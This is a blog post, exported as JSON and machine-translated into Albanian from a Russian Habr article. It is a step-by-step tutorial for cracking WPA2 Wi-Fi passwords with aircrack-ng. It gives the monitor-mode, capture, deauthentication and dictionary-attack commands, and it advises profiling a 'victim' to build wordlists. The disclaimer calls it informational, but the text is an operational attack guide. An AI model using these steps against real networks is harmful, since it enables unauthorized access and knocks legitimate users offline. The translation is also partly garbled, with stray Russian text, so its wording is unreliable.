{"id":37406,"date":"2019-10-31T22:17:27","date_gmt":"2019-10-31T19:17:27","guid":{"rendered":"https:\/\/prohoster.info\/blog\/podbor-parolya-wi-fi-utilitoj-aircrack-ng\/"},"modified":"2019-10-31T22:17:27","modified_gmt":"2019-10-31T19:17:27","slug":"podbor-parolya-wi-fi-utilitoj-aircrack-ng","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/podbor-parolya-wi-fi-utilitoj-aircrack-ng","title":{"rendered":"Zgjedhja e fjal\u00ebkalimit Wi-Fi me mjetin aircrack-ng","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<blockquote><p><i>Ky artikull \u00ebsht\u00eb shkruar ekskluzivisht p\u00ebr q\u00ebllime informative dhe hetimore. Ju inkurajojm\u00eb t\u00eb respektoni rregullat e funksionimit me rrjetet dhe ligjin, si dhe t\u00eb kujtoni gjithmon\u00eb p\u00ebr sigurin\u00eb informative.<\/i><\/p><\/blockquote>\n<h3>Hyrje<\/h3>\n<p>\nN\u00eb fillim t\u00eb viteve 1990, kur Wi-Fi sapo ishte shfaqur, u krijua algoritmi Wired Equivalent Privacy, i cili kishte p\u00ebr q\u00ebllim t\u00eb siguronte konfidencialitetin e rrjeteve Wi-Fi. Megjithat\u00eb, WEP doli t\u00eb ishte nj\u00eb algorit\u00ebm mbrojtjeje i paefektsh\u00ebm, i cili ishte leht\u00eb i hackuesh\u00ebm.<\/p>\n<p>N\u00eb vend t\u00eb tij erdhi algoritmi i ri i mbrojtjes Wi-Fi Protected Access II, i cili sot p\u00ebrdoret nga shumica e pikave t\u00eb qasjes Wi-Fi. WPA2 p\u00ebrdor algoritmin e enkriptimit AES, i cili \u00ebsht\u00eb shum\u00eb i v\u00ebshtir\u00eb p\u00ebr t'u hackuar.<br \/>\n<noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h3>Po ku \u00ebsht\u00eb vulnerabiliteti?<\/h3>\n<p>\nDisavantazhi i WPA2 \u00ebsht\u00eb se fjal\u00ebkalimi i enkriptuar transmetohet gjat\u00eb lidhjes s\u00eb p\u00ebrdoruesve gjat\u00eb k\u00ebshtu quajturit 4-way handshake (shtr\u00ebngimi i duarve 4-an\u00ebsh). N\u00ebse ne kapim handshake-in, at\u00ebher\u00eb do t\u00eb zbulojm\u00eb fjal\u00ebkalimin e enkriptuar dhe na mbetet vet\u00ebm ta dekriptojm\u00eb at\u00eb. P\u00ebr k\u00ebt\u00eb q\u00ebllim do t\u00eb p\u00ebrdorim aircrack-ng.<\/p>\n<h3>Si ta hack-ojm\u00eb at\u00eb?<\/h3>\n<p><\/p>\n<h4>Hapi 1. P\u00ebrcaktojme interfacin\u00eb<\/h4>\n<p>\nFillimisht, duhet t\u00eb gjejm\u00eb se cili \u00ebsht\u00eb interfaci i rrjetit q\u00eb na nevojitet, p\u00ebr k\u00ebt\u00eb shkruajm\u00eb komand\u00ebn:<\/p>\n<pre><code class=\"bash\">$ ifconfig<\/code><\/pre>\n<p>\nMarrim p\u00ebrgjigjen:<\/p>\n<pre><code class=\"bash\">eth0     nuk ka zgjerime wireless.\n\nwlan0     IEEE 802.11abgn  ESSID:off\/any\nModaliteti: I menaxhuar  Pik\u00eb qasjeje: Jo e lidhur   Tx-Power=15 dBm\nKufiri i shkurt\u00ebr p\u00ebr rip\u00ebrs\u00ebritje:7   RTS thr:off   Fragment thr:off\nK\u00eb(keys):off\nMenaxhimi i energjis\u00eb:off\n\nlo        nuk ka zgjerime wireless<\/code><\/pre>\n<p>\nN\u00eb rastin tim ka vet\u00ebm tre interfesa, dy prej t\u00eb cilave nuk kan\u00eb zgjerime wireless (no wireless extensions). Prandaj, na intereson vet\u00ebm wlan0.<\/p>\n<h4>Hapi 2. Caktojm\u00eb adaptorin rrjet n\u00eb m\u00ebnyr\u00ebn e monitorimit<\/h4>\n<p>\nCaktimi i adaptorit t\u00eb rrjetit n\u00eb m\u00ebnyr\u00ebn e monitorimit do t\u00eb na lejoj\u00eb t\u00eb shohim trafikun wireless q\u00eb kalon pran\u00eb nesh. P\u00ebr ta b\u00ebr\u00eb k\u00ebt\u00eb, futim komand\u00ebn:<\/p>\n<pre><code class=\"bash\">$ airmon-ng start wlan0<\/code><\/pre>\n<p>\nKujdes, airmon-ng e ka rinovuar emrin e interfes\u00ebs suaj (n\u00eb rastin tim e quajti mon0, por duhet ta kontrolloni gjithsesi).<\/p>\n<h4>Hapi 3. Kapim trafikun<\/h4>\n<p>\nTani, kur adaptori yn\u00eb i rrjetit \u00ebsht\u00eb n\u00eb m\u00ebnyr\u00ebn e monitorimit, mund t\u00eb kapim trafikun q\u00eb kalon pran\u00eb nesh, duke p\u00ebrdorur komand\u00ebn airodump-ng. Futim:<\/p>\n<pre><code class=\"bash\">$ airodump-ng mon0<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Zgjedhja e fjal\u00ebkalimit Wi-Fi me mjetin aircrack-ng\" src=\"\/wp-content\/uploads\/2019\/08\/e7b4c295f56dc237158ed6f4074567a1.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nKujdes, t\u00eb gjitha pik\u00ebt e qasjes p\u00ebr t\u00eb cilat kemi vizion jan\u00eb renditur n\u00eb pjes\u00ebn e sip\u00ebrme t\u00eb ekranit, nd\u00ebrsa klient\u00ebt \u2014 n\u00eb pjes\u00ebn e poshtme t\u00eb ekranit.<\/p>\n<h4>Hapi 4. Koncentrohemi n\u00eb kapjen e nj\u00eb pike t\u00eb ve\u00e7ant\u00eb.<\/h4>\n<p>\nHapi yn\u00eb i ardhsh\u00ebm \u00ebsht\u00eb t\u00eb p\u00ebrqendrohemi n\u00eb nj\u00eb pik\u00eb qasje dhe kanalin e saj. Na intereson BSSID dhe numri i kanalit t\u00eb pik\u00ebs s\u00eb qasjes q\u00eb do t\u00eb dep\u00ebrtojm\u00eb. Le t\u00eb hapim nj\u00eb terminal tjet\u00ebr dhe t\u00eb shkruajm\u00eb:<\/p>\n<pre><code class=\"bash\">$ airodump-ng --bssid 08:86:30:74:22:76 -c 6 -w WPAcrack mon0<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Zgjedhja e fjal\u00ebkalimit Wi-Fi me mjetin aircrack-ng\" src=\"\/wp-content\/uploads\/2019\/08\/87dcd71f2b437a577b3265f3f53cc806.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<ul>\n<li>08:86:30:74:22:76 BSSID i pik\u00ebs s\u00eb qasjes<\/li>\n<li>-c 6 kanali n\u00eb t\u00eb cilin punon pika e qasjes Wi-Fi<\/li>\n<li>WPAcrack skedari n\u00eb t\u00eb cilin do t\u00eb shkruhet handshake<\/li>\n<li>mon0 adapti i rrjetit n\u00eb modin monitorim<\/li>\n<\/ul>\n<p>\nSi\u00e7 mund ta shihni n\u00eb shkrehin e m\u00ebsip\u00ebrm, tani po p\u00ebrqendrohemi n\u00eb kapjen e t\u00eb dh\u00ebnave nga nj\u00eb pik\u00eb qasje me ESSID Belkin276 n\u00eb kanalin 6. Terminalin e l\u00ebm\u00eb t\u00eb hapur!<\/p>\n<h4>Hapi 5. Marrja e handshake<\/h4>\n<p>\nP\u00ebr t\u00eb kapur fjal\u00ebkalimin e enkriptuar, na nevojitet q\u00eb klienti t\u00eb kaloj\u00eb autentifikimin (t\u00eb lidhet me Wi-Fi). N\u00ebse ai \u00ebsht\u00eb tashm\u00eb i autentikuar, mund ta deautentifikojm\u00eb (ta \u00e7li\u00f0im), at\u00ebher\u00eb sistemi automatikisht do t\u00eb rindez\u00ebs (lidhet), duke na lejuar t\u00eb marrim fjal\u00ebkalimin e enkriptuar.<\/p>\n<p>Pra, na nevojitet vet\u00ebm t\u00eb \u00e7ndajm\u00eb p\u00ebrdoruesit e lidhur q\u00eb ata t\u00eb lidhen p\u00ebrs\u00ebri. P\u00ebr k\u00ebt\u00eb, hapim nj\u00eb terminal tjet\u00ebr dhe shkruajm\u00eb:<\/p>\n<pre><code class=\"bash\">$ aireplay-ng --deauth 100 -a 08:86:30:74:22:76 mon0<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Zgjedhja e fjal\u00ebkalimit Wi-Fi me mjetin aircrack-ng\" src=\"\/wp-content\/uploads\/2019\/08\/25772b59cae85fed1a7b1a8a5bc488d4.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<ul>\n<li>100 numri i p\u00ebrdoruesve q\u00eb do t\u00eb deautentifikohen<\/li>\n<li>08:86:30:74:22:76 BSSID i pik\u00ebs s\u00eb qasjes<\/li>\n<li>mon0 adaptor rrjeti<\/li>\n<\/ul>\n<p>\nTani, kur lidhemi p\u00ebrs\u00ebri, dritarja q\u00eb lajm\u00ebruam n\u00eb hapin e m\u00ebparsh\u00ebm do t\u00eb kap\u00eb handshake. Le t\u00eb kthehemi n\u00eb terminallin ton\u00eb airodump-ng dhe t\u00eb shohim.<\/p>\n<p><img decoding=\"async\" alt=\"Zgjedhja e fjal\u00ebkalimit Wi-Fi me mjetin aircrack-ng\" src=\"\/wp-content\/uploads\/2019\/08\/8b208e5ba5222990cf1cdb1668a33156.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nVini re n\u00eb rreshtin e sip\u00ebrm t\u00eb djathtas, airodump-ng rezultoi: \"Handshake WPA\". Kjo do t\u00eb thot\u00eb q\u00eb ne kemi kapur me sukses fjal\u00ebkalimin e enkriptuar! Ky \u00ebsht\u00eb hapi i par\u00eb drejt suksesit!<\/p>\n<h4>Hapi 6. Gjejm\u00eb fjal\u00ebkalimin<\/h4>\n<p>\nTani q\u00eb kemi fjal\u00ebkalimin e enkriptuar n\u00eb skedarin ton\u00eb WPAcrack, mund t\u00eb fillojm\u00eb gjetjen e fjal\u00ebkalimit. Por p\u00ebr k\u00ebt\u00eb, na nevojitet nj\u00eb list\u00eb me fjal\u00ebkalime q\u00eb duam t\u00eb p\u00ebrdorim. Nj\u00eb t\u00eb till\u00eb mund ta gjejm\u00eb brenda 5 minutash n\u00eb Google. Un\u00eb do t\u00eb p\u00ebrdor list\u00ebn e fjal\u00ebkalimeve nj\u00ebsi, e p\u00ebrfshir\u00eb n\u00eb aircrack-ng: BackTrack darkcOde.<\/p>\n<p>Hapni nj\u00eb terminal t\u00eb ri dhe shkruani:<\/p>\n<pre><code class=\"bash\">$ aircrack-ng WPAcrack-01.cap -w \/pentest\/passwords\/wordlists\/darkc0de<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Zgjedhja e fjal\u00ebkalimit Wi-Fi me mjetin aircrack-ng\" src=\"\/wp-content\/uploads\/2019\/08\/b1614ebe9a6fc6a7ca2603e7d7e2a7c9.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<ul>\n<li>WPAcrack-01.cap \u00ebsht\u00eb skedari n\u00eb t\u00eb cilin regjistruam handshake (airodump-ng e shtoi n\u00eb fund -01.cap)<\/li>\n<li>\/pentest\/passwords\/wordlist\/darkc0de \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u043a \u0441\u043f\u0438\u0441\u043a\u0443 \u043f\u0430\u0440\u043e\u043b\u0435\u0439<\/li>\n<\/ul>\n<p><\/p>\n<h4>Sa koh\u00eb do t\u00eb duhen?<\/h4>\n<p>\nKy\u00e7ja n\u00eb k\u00ebt\u00eb proces mund t\u00eb marr\u00eb shum\u00eb koh\u00eb. Gjith\u00e7ka varet nga gjat\u00ebsia e list\u00ebs suaj t\u00eb fjal\u00ebkalimeve, mund t\u00eb prisni nga disa minuta deri n\u00eb disa dit\u00eb. N\u00eb procesorin tim dy-b\u00ebrtham\u00ebsh Intel, aircrack-ng zbulon pak m\u00eb shum\u00eb se 800 fjal\u00ebkalime p\u00ebr sekond\u00eb.<\/p>\n<p>Kur t\u00eb gjendet fjal\u00ebkalimi, ai do t\u00eb shfaqet n\u00eb ekranin tuaj. A do t\u00eb jet\u00eb e suksesshme gjetja e fjal\u00ebkalimit apo jo, varet nga lista juaj. N\u00ebse nuk arrit\u00ebt t\u00eb gjeni fjal\u00ebkalimin me nj\u00eb list\u00eb, mos u d\u00ebshp\u00ebroni, provoni nj\u00eb tjet\u00ebr.<\/p>\n<h3>K\u00ebshilla p\u00ebr p\u00ebrdorim<\/h3>\n<p><\/p>\n<ol>\n<li>Ky lloj sulmi \u00ebsht\u00eb efektiv p\u00ebr gjetjen e fjal\u00ebkalimeve sipas nj\u00eb liste, por \u00ebsht\u00eb praktikisht i padobish\u00ebm p\u00ebr gjetjen rast\u00ebsore. E gjith\u00eb kjo lidhet me koh\u00ebn. N\u00ebse Wi-Fi \u00ebsht\u00eb i mbrojtur me nj\u00eb fjal\u00ebkalim mesatar nga shkronjat latine dhe numrat, gjetja rast\u00ebsore do t\u00eb marr\u00eb disa vite.<\/li>\n<li>Kur zgjidhni nj\u00eb list\u00eb fjal\u00ebkalimesh, sigurohuni t\u00eb merrni parasysh faktor\u00ebt gjeografik\u00eb. P\u00ebr shembull, nuk ka kuptim t\u00eb provoni t\u00eb gjeni n\u00eb nj\u00eb restaurant n\u00eb Paris me nj\u00eb list\u00eb fjal\u00ebkalimesh ruse.<\/li>\n<li>N\u00ebse po hakuar nj\u00eb Wi-Fi sht\u00ebpiak, p\u00ebrpiquni t\u00eb m\u00ebsoni ndonj\u00eb informacion personal t\u00eb viktim\u00ebs (emri, mbiemri, data e lindjes, emri i qenit etj.) dhe t\u00eb gjeneroni nj\u00eb list\u00eb shtes\u00eb fjal\u00ebkalimesh nga k\u00ebto t\u00eb dh\u00ebna.<\/li>\n<li>Pas pas s\u00eb kap\u00ebsit handshake, \u00e7oni n\u00eb pun\u00eb aireplay-ng (mos e b\u00ebni q\u00eb p\u00ebrdoruesit e zakonsh\u00ebm t\u00eb vuajn\u00eb).<\/li>\n<\/ol>\n<p>Burimi: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/post\/464503\/\">habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0414\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0446\u0435\u043b\u044f\u0445. \u041f\u0440\u0438\u0437\u044b\u0432\u0430\u0435\u043c \u0432\u0430\u0441 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0441\u0435\u0442\u044f\u043c\u0438 \u0438 \u0437\u0430\u043a\u043e\u043d, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u043f\u043e\u043c\u043d\u0438\u0442\u044c \u043e\u0431 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0412 \u043d\u0430\u0447\u0430\u043b\u0435 1990-\u0445 \u0433\u043e\u0434\u043e\u0432, \u043a\u043e\u0433\u0434\u0430 Wi-Fi \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f, \u0431\u044b\u043b \u0441\u043e\u0437\u0434\u0430\u043d \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c Wired Equivalent Privacy, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u043b \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c Wi-Fi \u0441\u0435\u0442\u0435\u0439. \u041e\u0434\u043d\u0430\u043a\u043e, WEP \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043d\u0435\u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u043c \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u043e\u043c \u0437\u0430\u0449\u0438\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043b\u0435\u0433\u043a\u043e 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